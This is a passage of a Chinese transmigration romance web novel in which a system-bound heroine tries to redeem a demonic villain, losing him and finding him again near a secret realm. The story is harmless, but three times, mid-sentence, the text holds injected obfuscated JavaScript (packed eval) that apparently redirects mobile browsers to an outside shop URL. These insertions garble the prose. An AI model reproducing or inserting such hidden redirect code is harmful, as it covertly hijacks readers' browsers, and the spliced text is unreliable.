他们漫无目的地闲聊着,不过一般都是衡遂、冯念之二人在说他们所见所闻的奇谈异事,颜悬昭津津有味地听着,不时发出惊叹和疑问。应逢怜则安静地坐在颜悬昭身侧,手里拿着一根树枝拨弄着篝火,火星偶尔噼啪炸起,骤然映亮他没什么表情的侧脸。 “后来呢?”颜悬昭完全沉溺在了险象环生的故事里,一边害怕地将身体倾向身旁的应逢怜,一边忍不住好奇,催促着衡遂继续往下讲。 衡遂清了清喉咙继续讲道:“我们都以为难逃一死的时候,那平平无奇的扫地僧竟突然跃出,一连拍了十八道符往那妖物身上,霎时间金光大作,刚刚还嚣张的怪物一下子惨叫倒地,化为原型。” “我的天呐,好厉害呀!”颜悬昭眼中满是赞叹,“我要是也会这么厉害的符法,就不会被魔兽撵着 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“不错,我与师妹可为你引荐。”衡遂接过话,考虑得更为周全,“邹长老每年都会在入门试炼上收徒,届时你可前去一试。” “真的可以吗?!”颜悬昭瞬间激动起来,差点要一口应下,旋即她又突然想起自己这具身体的根骨极差,更别提还有长期的系统任务在身。她过热的头脑瞬间清醒了过来,黯然道,“还是不了。我资质太差了,连入门初试都过不了,还是别让你们为难了。” 闻言,衡遂和冯念之也都沉默了下来。 “资质”二字,是一道现实而无形的鸿沟横亘在眼前。每个人从出生起就被以灵根资质划分为了三六九等,没有优秀的根基,许多道路从起点就被堵死了。纵使能通过洗筋伐髓来逆天改命,那所需的资源与代价,绝非寻常人所能想象和承担。 颜悬昭压下心头小小的失落,拉过一直在旁沉默不语的应逢怜,亲昵地依偎在他肩侧:“更何况,我要陪我夫君继续浪迹天涯呢,实在没有时间。” 冯念之看了看她,又看了看面无表情的应逢怜,似乎想说什么,最终还是咽了回去,语气有些低落:“好吧……总之,昭昭姐你要是哪天改变主意了,一定要告诉我们,我们肯定全力帮你。” 夜深了,有一搭没一搭的聊天声逐渐淡去,疲惫奔波了一天的衡遂和冯念之都进入了调息入定的状态之中。 一直沉默着的应逢怜突然开口问她:“你想跟着他们去修仙吗?” 颜悬昭正有些出神地看着跳动的火焰,闻言怔了怔,过了一会儿才反应过来他问的是什么。几乎是出于攻略的本能,她偏过头,朝他露出一个带着讨好意味的笑容,声音也刻意放得又软又轻:“也不是很想啦……我还是更想跟着你。” 应逢怜幽深的眸子将她一切细微的神情尽数收入眼底,半晌冷冷道:“撒谎。” 【叮——好感度下降5,当前好感度55。】 颜悬昭瞬间慌了,她不知道自己说错了什么,露出了什么破绽,招致了他的反感。 看着她慌乱而惶惑的眼神,应逢怜心口某处,忽然像是被极细的针尖不轻不重地刺了一下,他下意识抵触这种不明的感受,语气染上了几分不耐:“你说出真实的想法就好。” “……还是有些想的。”颜悬昭咬了咬唇,犹豫地说出了真实想法,“我有点想看看宗门子弟的生活是怎么样的,我还没有去过呢。” 说完,她有些忐忑地看着他,等待着他的反应,或是又一次冰冷的“好感度下降”。 应逢怜却没有很大的情绪波动,只是微微颔首低低地“嗯”了一声,便闭上了眼睛,摆出了一副凝神调息、不欲多言的模样。 虽然他的神情没有多大变化,颜悬昭却敏锐地察觉到他有些不开心。她犹豫了一下,然后慢慢地、一点一点地,朝着他的方向挪动过去,直到自己的手臂,轻轻贴上了他的手臂。他没有动,也没有推开。 这无声的默许给了她一点勇气,她将脑袋轻轻地靠在了他坚实的臂膀上,温热的肌肤隔着薄薄的两层布料紧紧相贴。她还得寸进尺地攥紧了他一小片衣角,做完这一切,她奇异地安心了起来,不知不觉地沉入了香甜的睡梦之中。 43. 不告而别 颜悬昭醒来时下意识摸了摸手边,却摸了个空。 她猛地睁开双眼,发现身旁空空如也。 不远处的衡遂与冯念之仍在闭目调息,应逢怜却已不见踪影。 她爬起身,想去洞外寻人,刚一动,便有什么东西从她的衣襟滚落下来。 她低头看去,只见一枚红色的鲤鱼形玉石落在地上,发出“啪嗒”一声轻响。 颜悬昭俯身捡起它,触手温润微凉,似玉似石,内里有灵力隐隐流转。 玉石下还压着一张对折的纸条。 她心忽然一跳,急急展开来看,上头只有寥寥数字:“酬劳。一别两宽,不必寻我。” 她脑子嗡地一声,像是突然被抽空了思绪,一时间都不知道做什么好。 这就算是……选错了? 直接走到“BE:再也不见”的结局了? “系统,这到底怎么回事?”她忽然有些崩溃,握着那块玉缓缓蹲下,“我是说错了什么,做错了什么吗?” 【我想,大约是因为,他在问你的时候,你没有给出唯一坚定的答案。】系统居然还有心思给她平静地复盘起来。 颜悬昭更崩溃了,应逢怜这人是什么绝世敏感肌吗?连百分之一的犹豫都接受不了吗? “算了。”颜悬昭经历了最初地动山摇的崩溃,慌乱、茫然、无助,最后心里居然恢复了死一般的宁静。 她如同一个无力挣扎的社畜般选择了摆烂:“我尽力了,时也命也,你们抹杀我吧,我不干了。” 系统:【……倒也不至于。】 【只要反派还没有灭世,你就不算任务失败。坚持下去,我们应该还是有机会挽回的。】 “任务居然还没失败吗?”颜悬昭很诧异,“我以为这样就已经算失败了。” 【我们的主线任务是救赎反派,不让他发疯灭世,我们并没有要求你一定要和他谈恋爱,就算没有攻略成功也无所谓。】 颜悬昭心虚地摸了摸鼻子:“哎呀,理解偏差了嘛……可就算是这样,按我这样反复踩他雷区,看来也是救赎不了他,要不你们另请高明吧。” 这话实在太难了,干不了了。 【宿主,别这么说。你已经是我们派出的任务者中在他身边待得最久的了,也是目前好感度最高的。】 “咦?你们之前还派过了别的任务者?他们都失败了?”颜悬昭顿觉不可思议。 系统沉重道:【是的,都失败了。】 【有的人两分钟就结束了任务,有的好一点,好歹坚持了四五天。但其他人的结局无一例外,都很惨烈,毕竟他能……算了,说了反而影响你。】 颜悬昭试图追问系统未尽的话语,它却怎么也不肯说,只是不明不白地抛出一句:【总之,你要真诚地对待他。】 她满头雾水,只能强行按下了心头的疑惑:“那我接下来该怎么做?” 【应逢怜已经出了秘境,你现在的首要任务是出秘境,之后我会指引你找到他和他汇合。】 她正思忖出路,冯念之的声音轻轻响起:“昭昭姐,你怎么了?” 她和衡遂已经调息完毕,察觉到颜悬昭的状态不对劲,连忙走了过来。 衡遂往四周望了望,见应逢怜不在山洞里,随口问道:“颜兄呢?” 颜悬昭看到他们,瞬间看到了任务的方向,连忙抓住冯念之的手说:“他有事已经先行离境了,你们能不能将我带出这个秘境?我要找他汇合。” --- “应娘子,真不用我们陪你去?”衡遂仍不放心。 颜悬昭摇摇头:“我有秘宝护身,不会有事的,我自己去找他汇合就行。你们先忙你们的要事吧。” “你拿着这些符篆。”冯念之还是不放心,将身上所有符篆一股脑塞到了颜悬昭手里,喋喋不休地嘱咐道,“要是遇到坏人,就拿这些护身。或者用传讯符联系我们,我们立马赶到。” “知道啦,我这就收下。”颜悬昭收下了符篆,挥了挥手,“你们也要一路小心,平安到家呀!” “我们会的。应娘子,山水有相逢。”衡遂微笑着颔首,和她道别。 冯念之眼里满是不舍,她一边走一边回头,喊道:“昭昭姐,我会想你的。有空一定要来我们宗门找我啊!” “我会的,再见!”颜悬昭用力挥手,大声地回应着他们。 看着他们逐渐远去的身影,她纵然心中有不舍,却也要做出坦然离别的姿态。 虽然有衡遂他们陪同,一道去找应逢怜会更加安全保险,但系统说应逢怜正在与魔界之人接头,要是让衡遂他们贸然撞见就不好了。 所以她打算还是提前分别,自己去找他比较好。 颜悬昭叹了一口气,打心底感叹,自己真是个苦命的社畜,在哪都是为了生活垂死挣扎。 她深吸一口气,恢复工作状态:“好了,系统告诉我应逢怜的位置吧。” 系统立刻在她的脑海里标注了一处地点:【在这附近。】 颜悬昭却没急着动身,反而蹲下身,拾起一根树枝在地面勾画起来。不多时,一个繁复的法阵逐渐成形。 她又取出黄纸朱砂,凝神绘制符纹。 【宿主这是在做什么?】 “画个传送符,省点脚程。”颜悬昭笔下不停,“第一次试,成不成看运气。” 最后一笔落下,她将符纸往阵眼一贴。 光芒骤起,四周景物飞速倒退,风声呼啸贯耳。 下一秒,她整个人重重跌在一片陌生的林间空地上。 法阵光芒散去,原地不留丝毫痕迹。 颜悬昭趴在地上,好一会儿没能起身。眼前阵阵发黑,丹田与经脉如同被火烧过,传来枯竭的灼痛。 她修为太低,贸然使用这种法阵,灵力几乎被瞬间抽空了。 她缓了许久,才勉强撑起身子起身走去,每一步都走得缓慢吃力,稍稍加快些,便喘得厉害。 颜悬昭对照着脑海中的地图,发现自己的法术还不够娴熟,传送位置和她的目标点位偏离了一段距离。 无奈之下,她只能拖着自己这副如同八十岁老奶的躯壳,艰难地朝目的地找去。 途中,她被树根绊了一跤,手心擦破,衣裙也沾了泥土草屑,显得狼狈不堪。 就在她力气将尽时,前方林木间忽然出现一道熟悉的身影。 她心中一喜,正要开口,一道黑影倏然从侧里袭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845431|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出,刀光直劈而下! 颜悬昭浑身无力,连后退都来不及,只能眼睁睁看着刀刃落下。 完了。 她要死在这里了。 就在她绝望的刹那,周身忽然凭空浮现出一个红色光罩,将她牢牢护住。 那道袭击她的黑影始料未及,被光罩反震出去,重重地摔在数步之外。 “咔。” 胸前的玉佩传来细微的裂响。 黑影呕出一口血,眼神凶戾,挣扎着还要再冲过来。 却有一只苍白的手凭空扼住他的喉咙,将他狠狠掼进地里! 尘土飞扬,那人连惨叫都未发出,便口鼻溢血,筋骨脆响。 那只手的主人似犹未足,指节收紧,就要拧断他的脖子—— “住手!”一道娇叱响起,“应逢怜,你敢杀我的亲卫,便是与我部为敌!” 应逢怜动作一顿,没有继续对那个人下手,只是随手将人如弃敝屣般扔到说话的女子脚边,声音冷得像冰:“凝雨,管好你的狗。” 凝雨看着脚边奄奄一息的手下,想不通眼前发生的一切。 她正和应逢怜好好地谈着话,暗卫不过是去解决一个误入他们谈话场的小虫豸,没想到应逢怜居然暴起,要杀她的暗卫?! 她转头望去,却见应逢怜正向那个小虫豸走去,还纡尊降贵地蹲下了身。 颜悬昭模糊一片的视线,在看到应逢怜向她走来的那刻自动聚焦了起来。 她怔怔看着他近在咫尺的脸,伸出手,轻轻碰了碰他的脸颊。 奇怪的是,应逢怜并没有躲,反而任由着她的动作。 温的。 是真的。 不知怎的,所有强压的委屈骤然决堤。 她原以为自己十分坚强,只是把这一切当任务,也不曾付出过真心。 她想,应逢怜就算真的抛弃了她,她也无所谓,只不过是任务失败了而已。 但在真正见到他的那刻,她却没来由地委屈、难受起来,突然有了很多问题想要问他。 是她哪里做错了吗?还是她没有利用价值了? 太多太多的委屈和不解倾泄而下,眼泪毫无预兆地涌出来,颜悬昭抽着气,声音又哑又颤:“为什么……丢下我?” 应逢怜显然没料到她是这般反应,顿了顿才道:“我以为,你更愿意同他们走。” “我不要。”颜悬昭死死抓住他的袖子,用尽力气说,“我不要跟他们走。我要跟着你,邪魔歪道也好,刀山火海也好,说过选你就是选你!” 他静默片刻,抬手拭去她满脸的泪痕,动作有些生涩:“你……怎么找来的?” 这一问,颜悬昭哭得更凶了,断断续续地对他诉苦:“可难了……我一路走摔了好多次……好疼,我全身都是土,哪都找不见你……” 应逢怜眸中神色晦暗不明:“既然这样艰难了,为何还要找我?” 颜悬昭只觉得最后一丝力气正在流失,意识也逐渐昏沉,却仍拼着最后一点清醒喃喃道:“因为……我不想离开你啊。” 话音落下,她身子一软,无力地向前倒去。 失去意识前,她仿佛落进了一个温暖的怀抱里。 44. 乱心之魔 应逢怜想都没想就接住了倒下的她,看着怀中双眼紧闭、面色苍白的人,一种久违的心慌意乱攫住了他。 凝雨的目光在他们二人身上反复打量,终于按捺不住追在他的身后,愤怒质问道:“应逢怜,她是谁?你怎么和一个凡人厮混在一起?!” 应逢怜没有理会她,将臂弯里的人往怀里拢了拢,顺势打横抱起,快步朝林子深处的小屋走去。 一直隐匿在旁的空青现出身形,快步跟上,朝他伸出手:“主上,让我来吧。” 应逢怜却没有将怀中人让出的意思,脚步不停地吩咐道:“去附近城池,带个医修过来。” 空青动作一顿,迅速垂眸掩去眼底的波澜,低声应道:“属下这就去。”随后领命匆匆离去。 应逢怜走到小木屋前,抬脚踹开紧闭的房门,抱着颜悬昭径直入内。凝雨还想跟上追问,差点被猛然关上的门板拍中,被拦在了外面。 他无视了背后愤怒捶门声,将颜悬昭轻轻放到了屋内唯一的床榻上。将人安置好后,他第一时间探向她的脉搏,发现她因灵力使用不当、透支过度而造成了内伤。 他略一思忖,便了然了她受伤的缘由,眉心不由得蹙起,“学了一些皮毛,就敢胡乱驱动阵法……” 他轻轻地捏住了颜悬昭的下颌迫使她张开嘴,从储物戒中取出一颗丹药,放入她的口中,助她稳住紊乱的灵脉。做完这些后,他便在床沿坐下,静待空青归来。 看着她躺在那里了无生气的模样,应逢怜心中突然涌起一股夹杂着烦躁的无名怒火。他第一次觉得空青办事效率如此低下,恨不得即刻亲自出去抓个医修过来。但他一旦离开,凝雨就会对她不利。 她醒着时总有些吵闹,可眼下这般过分安静的样子,却更让他心乱难安。 说实话,他不想再见到她,一点也不想。只要她在,他总是难以避免地被扰乱心绪,做出一些自己都觉得荒谬的举动。 他不由得倾身,仔细端详起她的面容,一个念头突兀升起:她莫非是魔? 一种乱人心智、引诱人沉沦的魔。若非如此,又如何能解释他一靠近她,就会心绪紊乱,不知不觉地被她牵着鼻子走? 他怎么会被一个凡人所困扰呢?她一定是魔,一个手段高超、他前所未闻的魔。 可审视良久,他也没从她身上找出任何属于魔的特征,也感知不到丝毫的魔气。这个认知让他有些恼,恼意之中还掺杂着一丝说不明的慌乱。 以往这些可疑的、扰乱他思维的东西都会被他毫不留情地除掉。他们的恐惧贪婪、谎话连篇、别有图谋都让他感到无比厌恶。 她与他们似乎并无不同,甚至身上有更多说不通的可疑之处。可偏偏,他生不出杀意。每次念头升起,总会因某种莫名其妙的原因而消散。 床上的人忽然轻咳了两声,眼睫颤了颤,缓缓转醒。她睁开迷蒙的双眸,在看清他的那刻,嘴一撇,以惊人的速度蓄起了泪水。 紧接着,她如同鱼一般猛地扎入他的怀中,双手死死环着他的腰不肯放手,将脸埋在他胸前,边哭边抽噎道:“别丢下我……” 应逢怜怔愣了片刻,身体先于意识,已抬手回抱住她,心中反复翻涌着一个念头:好生厉害的魔。 ——— 长大后的颜悬昭很少哭。因为多次哭泣无果后,身体就自然而然地放弃了这个选项,时间一久麻木得连眼泪都不会分泌了。 其实,泪水也并非无用。最起码,幼时同院的孩子会因为哭闹获得多一颗的糖果。同学会因为难受落泪,获得大家的关怀和问候。同事因为工作过多而崩溃流泪,从而获得了一部分工作的释免,而这部分多出来的工作会顺理成章地转移到不会哭闹的颜悬昭身上。 不是眼泪无用,只是颜悬昭的眼泪无用。 她也曾哭过,哭着哀求爸爸妈妈别不要她,哭着求他们不要欺负她。但哭多了,她发现她的哭只会换来别人的厌烦和冷漠,不流泪或许还能维护一下最后的尊严。面对伤痛与挫折,她渐渐学会了用无所谓或者自嘲的方式去化解,好像不在乎了,疼痛就能减轻几分。 她在昏昏沉沉里再次梦见了抛弃她的养父母,梦见那个拉她出泥淖,却陡然消失在她生命中的人。她奋力追赶,却在即将要抓住他们衣袖的那刹那—— 她猛地睁眼,对上了应逢怜复杂的目光。也许是病痛削弱了心防,所有压抑的情绪骤然决堤。冲动之下,她顾不得眼前是谁,只死死环住他的腰,仿佛一松手,这片刻的依傍也会消失。 颜悬昭埋在他的怀里嚎啕大哭,一边觉得自己好丢人,一边却止不住泪水的汹涌。她的理智告诉她,该停了,不要再哭,惹他厌烦,可她却眷恋怀抱的温度,不舍得离开。 原来,魔的怀抱也是温暖的。 直到感觉到背上那只手,生疏地轻拍起她的背,她悬着的心才稍稍落下,近乎贪婪地将脸更深地埋进他的怀抱,放纵着自己的情绪。 等最初那股崩溃的情绪过去了,颜悬昭的眼泪也渐渐止住。她却依旧保持着埋头的姿势,不敢动,更不敢抬头。她不知道魔头为什么会纵容着自己发泄情绪,理智回笼后只剩不知所措的尴尬。 更要命的是,她哭出的眼泪鼻涕弄脏了他的衣襟,要是他发现了,她命休矣……于是乎,她偷偷伸出手擦拭他一塌糊涂的衣襟,试图在他发现前“毁尸灭迹”。 可没擦两下,手腕便被他捉住了。头顶传来了他恼怒的声音:“颜悬昭,你是色鬼投胎么?总是这般动手动脚!” 颜悬昭:大人我冤呐! 她正要开口辩解,屋外却传来一道声音打断了她:“主上,人带来了。” —— 医修战战兢兢地收回搭在颜悬昭腕上的手,飞快瞟了眼屋内神色各异的几人,低下头,声音发颤:“这、这位姑娘灵脉已得调护,并无大碍,只需静养几日,辅以温和丹药滋补,便可痊愈。” 说罢,他又小心翼翼抬头看了他们一眼,询问道:“那么……各位大人,可以放在下走了吗?” 他不知道这些贼人强掳他至此有何目的?这位姑娘不过是受了点轻微内伤,他要是来晚一点估计都痊愈了,何必兴师动众地抓他过来?如今诊也诊了,药也开了,还不让走,莫非……是要灭口? 想到此处,他双腿发软,几乎要瘫倒在地。 应逢怜微微颔首,空青即刻会意,朝医修走去。医修吓得向后瑟缩,连声哀求:“大人饶命……” 空青却扔了一袋灵石在他身上,打断了他的哀嚎:“你的酬劳。蒙住眼,我带你出去。” 医修知道自己小命保住了,忙不迭地点头。他飞速将灵石收入怀中,又从袖中扯出一条帕子熟练地将自己的眼睛蒙上。 准备就绪后,空青拎起他,身影一闪便出了木屋,很快融入夜色。 颜悬昭不由得小声惊呼:“好厉害!”,好奇地探身想多看两眼,却被应逢怜按回了枕上:“静养。” 在一旁的凝雨终于按捺不住了。她知道从应逢怜口中问不出什么,转而将矛头对准颜悬昭,厉声质问:“你究竟是什么人?与他是什么关系?” 颜悬昭被这突如其来的声音吓了一跳,这才惊觉屋内还有旁人,她循声望去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874150|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只见一位容貌明艳的少女正冷冷盯着自己。 凝雨见她受惊般微微一颤,引得应逢怜立刻侧目关注,心中更觉此女心机深沉,语气愈发不善:“我不管你有何目的,离他远点!” 颜悬昭瞬间从她充满醋意的话语里察觉出了——面前的女孩怕是应逢怜的桃花债。看起来还是个出身显赫的大小姐。 她顿时感到头疼起来,情敌要是个个都这般漂亮又高贵,她拿什么和人家争啊? 要不还是放弃得了…… 她这个想法刚出来,系统就在她脑海里幽幽出声。 【宿主,你不想找到他了吗?】 颜悬昭呼吸一滞,打退堂鼓的想法顿时烟消云散。在凝雨冰冷目光的逼视下,她瞥了眼身旁的应逢怜,硬着头皮开口:“我是……” 话到嘴边,却卡住了。她与应逢怜,究竟算什么关系? 他们俩的关系用什么词来概括都不太恰当,最稳妥的说法大概是—— “下属。我是他新收的下属。”颜悬昭答道。 虽然是想上位成为老板娘的下属。 “下属?”凝雨眯了眯眼,明显不信,“哪个主子会对下属如此?” “哈哈哈我们主子就是这样关怀下属的啦。”颜悬昭干笑两声,试图敷衍过去。 凝雨却不依不饶,目光直射应逢怜,颇有“抓奸”的意味:“我可从未见过你对空青也这么亲力亲为,不仅亲自将人抱入房中安置,还守在榻前片刻不离。” 应逢怜依旧视她如无物,抬手替颜悬昭掖了掖被角,语气平淡:“无需理会。好生休息。” 颜悬昭正要顺从地点点头,忽觉手腕上凉凉的,感觉到一条冰冷东西正顺着她的手臂蜿蜒而上。她低头一看,差点没背过气去。 一条通体银白、手指般粗细的小蛇正缠绕在她腕间。猩红的眸子对上她视线的那刻,悠然地吐出了信子。 颜悬昭一时间都忘了呼吸,因为过于惊惧,尖叫卡在了喉咙里,全身僵直,不敢动弹。 应逢怜颇为淡定地伸手,拎起正缠在她手上的白蛇,语气熟稔:“银蟠,你跑出来做什么?” 小白蛇并没有挣扎,反而在他指间温顺地盘绕,“咝咝”了两声。也不知道它讲了什么,应逢怜听罢,略一颔首:“也好。若看顾不周……”他语气微沉,“我便取了你的蛇胆。” 说完,他便将它放到了颜悬昭枕边。看到颜悬昭面上露出了惊惧之色,他难得耐心地解释了一句:“它有灵性,不会伤你。有它在,寻常邪魔鬼祟近不了你身。” 小白蛇这次没有贸然地攀上她的身体,而是安静乖顺地盘在她枕边,微微昂首看着她。 应逢怜都这样说了,颜悬昭也只好点点头,忍住心中的惧意与它好好相处。 将人与蛇都安置妥当,应逢怜嘱咐颜悬昭好生休息,转身离开时,顺手将仍欲开口的凝雨也一并带了出去。 木屋的门在背后紧紧合上。凝雨不忿地甩开了应逢怜的桎梏,忿忿道:“表哥,你怎么让银蟠留在她身边,那可是你的贴身灵宠!要是她别有图谋……” 应逢怜打断她:“是银蟠自己要留下。银蟠喜欢她。” “那你呢?”凝雨突然问。 应逢怜蹙眉,反问:“何意?” “银蟠喜欢她。”凝雨直视着他的眼睛,追问,“那你呢,你喜欢她吗?” 应逢怜怔住,一时无言。暮色模糊了他的神情,让人琢磨不透他的想法。他最终还是没有作答,只是冷声道:“与你无关。” 说罢,不再看她,转身匆匆步入渐浓的夜色之中。 45. 温泉浴 两人离开后,房间里只剩颜悬昭与小白蛇。 她不自觉往墙边缩了缩,与枕边那截银白拉开了距离。 虽说灵宠通人性,不至于随便伤人,可她对这些冰凉滑腻的冷血动物始终心存畏怯,亲近不起来。 “系统,”为了分散自己的注意力,她在脑海中唤道,“现在任务的进度怎么样了?” 系统的提示音响起。 【恭喜宿主完成主线任务“乌南秘境”,奖励生命值三个月,成就点2000。当前反派好感度65,请再接再厉!】 听到任务终于有了进展,颜悬昭一直绷着的那口气终于彻底松了下来,整个人瘫软在床上,连根手指头都不想再动了。 总算是搞定这个要命的任务了…… “65的好感度,对应逢怜这种人来说,已经算很高了吧?”她忽然想到一个点子,立刻询问系统,“那如果我现在直接劝他别灭世,他要是答应了,任务不就直接完成了?” 【宿主,不建议你这样做。根据我的数据库分析显示,在好感度90以下的情况下直接进行劝诫,死亡率高达99.9%。】 颜悬昭瑟缩了一下,立刻放弃了这个“一步登天”的念头,垂头丧气地问到:“好吧,那我接下来该怎么做?” 【宿主,我能给你的建议就是在推进主线的同时,逐步提升反派好感度,在日常相处中传递正向观念,潜移默化地影响他。】 果然还是很教科书式的攻略方法。 颜悬昭狠狠揉了揉自己的脸,感觉再这样下去她真的要成为一名光荣的人民教师了,每天都奔走在给反派纠正三观的路上。 明明她自己也是一个天天沉溺在纯恨里的社畜而已,每天想做的都是炸了这个世界。结果为了完成任务,她还要假情假意劝反派这个世界多美好,请不要再厌世…… 算了算了,再想下去她又要开始摆烂了。 终于有时间停下来细想,颜悬昭把积压已久的疑问一股脑对系统抛了出来:“系统,原书结局里,男女主不是联手打败他,还将他封印了吗?按理说,他应该没机会再灭世了。” “是不是出了什么问题,才需要额外派任务者来感化他?” 系统的声音变得格外凝重。 【你说的没错,原本的结局确实如此。但被封印后不久,应逢怜就撬动了松动的禁制,以更决绝的姿态报复世间。即便身死,他过于深重的执念也会化成新魔,逃脱封印,重临三界,搅得天翻地覆。】 【简直是百足之虫,死而不僵。为了挽救这个濒临崩溃的位面,我们重启过多次,甚至尝试提前抹杀他,但无一例外,世界都会崩塌。所以最后才决定从源头入手,引渡任务者去消除他灭世的执念。】 “嘶……”颜悬昭牙疼似的吸了口气,真切感受到自己接了个烫手山芋,“连原女主都做不到的事,我真的能行吗?我只是个长期996、被迫自愿加班、到了岁数就要被优化的普通社畜,人生忙得连恋爱都没空谈……” 再说下去,她都快想跟着应逢怜去灭世了。 连这个系统都跟着这个破世界一起为难她!她不想干了! 系统连忙给她加油鼓劲:【宿主,请相信你自己,你已经获得了魔头65的好感值,离成功不远了!】 颜悬昭内心是悲观的。 她觉得应逢怜现在顶多把她当成一个还算顺手的下属,距离能谈心谈人生的地步,还远得很。 当个忠心马仔拍拍马屁没问题,真要跟老板聊理想劝他向善?未免太不现实。 要救赎一个黑透了的魔头,要么成为挚友说服他,要么成为挚爱感化他。 但无论哪条路,颜悬昭都觉得……自己恐怕都走不到。 怎一个难字了得。 她长吁短叹了一会儿,才有气无力地问:“下一个任务什么时候来?” 【时机到了,自会通知。在此之前,你可以休息几天。】 一听到“放假”,颜悬昭瞬间把烦恼都抛到了脑后。 工作永远做不完,先好好休个假再说! 于是接下来的几天,颜悬昭每天都一觉睡到自然醒。 睡眠充足了,她心情也豁然开朗了不少,还有闲心去附近的树林里散散步。 这几天里,她也和小白蛇相处熟了,不再害怕它,甚至会主动和它聊聊天,毕竟这是她身边唯一的活物了。 它也会在她要出去散步时,自动爬到她的手腕上,陪她一道散步。 值得一提的是,这几天她一直没见到应逢怜和那位凝雨的身影。 若不是空青每日按时送来三餐和汤药,她几乎要怀疑应逢怜这家伙又把她丢下了。 这天,空青照例将食盒往桌上一放,转身便要走。 颜悬昭叫住了他:“空青,你知道应逢怜去哪儿了吗?” 空青面色有些不虞,冷声道:“主上的名讳也是你能直呼的?” 颜悬昭被噎了一下,从善如流地改口:“好吧,你知道主上去哪了吗,我一连好多天都没见到他了。” “主上的行踪,岂是你能打听的?守好本分,莫生妄念。” 空青没有正面回答她,丢下一句警告,便头也不回地消失在了门外。 颜悬昭望着他离开的方向,有些摸不着头脑。 自己不过是随口一问,怎么就被狠狠警告了一番? 空青似乎总对她带着隐隐的敌意。 不过她也理解,原本他是应逢怜最得力倚重的手下,如今突然冒出个人抢位置、抢绩效,还得到了boss的悉心关怀,要换作是她,她也会不爽的。 颜悬昭丝毫没有将空青的态度放在心上,本就是随口探听一下应逢怜的踪迹,打听到了算她赚,没打听到也不算亏本。 她熟练地夹起盘子中的糖醋排骨,愉快地吃了起来,觉得好吃还不忘夹了一块放到小白蛇面前。 那排骨几乎和小蛇的脑袋一般大,看起来它完全吃不进去。 颜悬昭忽然觉得自己干了件蠢事,正要伸手替它撕开,却见小白蛇忽然张开嘴,一口便将整块排骨吞了进去,喉部微微鼓动,不一会儿便咽了下去。 刚才它的嘴巴张得比自己的脑袋还要大了,简直突破了生理的极限。 颜悬昭愣了一瞬,随即又释然了。 毕竟是灵宠嘛,总得有些非凡之处。 只是这小白蛇的模样,怎么越看越觉得眼熟? 好像和秘境里那条巨蛇有几分相似…… 不,不可能。 蛇都长得差不多,银蟠这么乖巧,怎会是那狰狞吃人的怪物? 她放下心,轻轻摸了摸小白蛇冰凉的脑袋:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881605|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银蟠,你主人要是像你这么亲人就好了……也不知他现在在哪儿。” 银蟠忽然用尾巴尖拍了拍她的手腕,随即滑下桌面,游向门口。 “怎么了?”颜悬昭起身跟过去,见它在门边立起上身,似在等她。 “你是要带我去哪儿吗?”她试探着问。 银蟠朝着她“咝”了一声,转身朝外游去,好像是示意她跟着走。 颜悬昭犹豫了片刻,还是抬步跟了上去。 一人一蛇穿过密林,踏过密密匝匝的草,又踩过一条满是泥土的小径,一连走了小半个时辰,眼前才终于出现一个泛着微光的洞口。 银蟠没有犹豫,径直游入其中,身形消失在光幕后。 颜悬昭眼睛一亮,心想莫非这里是什么机缘宝地?这样的好事终于有一次轮到我了! 她快步跟了上去。 穿过那道光幕的刹那,一股湿润的热气扑面而来,颜悬昭眼前白雾弥漫,几乎看不清四周。 可恶,这是什么机关吗? 她小心翼翼地挪着步子,摸索向前,不料还没走几步,脚下突然一空—— 下一秒,整个人直直坠入一片温热的水中。 毫无防备的她惊呼了一声,当即就呛了口水,慌乱扑腾着手脚,却止不住地往下沉。 就在窒息感攫住意识的边缘时,一只手稳稳将她从水中捞起。 颜悬昭本能地死死抓住那人的手臂,剧烈咳嗽起来,直到喉间呛水的灼痛稍稍缓解,才气若游丝地道谢:“多谢……” “你怎么会来这儿?”一道冷冽的嗓音在她头顶响起,却有几分熟悉。 颜悬昭浑身一僵。 她缓缓抬头,对上眼前人那双瑰丽的红眸,险些咬到舌头:“应、应逢怜……?” 他正静静看着她,等待回答。 冷静下来颜悬昭才发现,此刻应逢怜的大半身子正浸在泉水中,墨发湿透,贴在泡得泛红的肌肤上。 有水珠从他乌黑的发梢滴落,滑过锁骨,一路蜿蜒向下,没入蒸腾的水雾深处。 颜悬昭用了极大的意志力,才强迫自己移开视线。 天杀的,那可是你老板!就算你八辈子没见过男人也得收敛一点了! “嗯?”见她不答,应逢怜微微偏头,眼中带着些许疑惑。 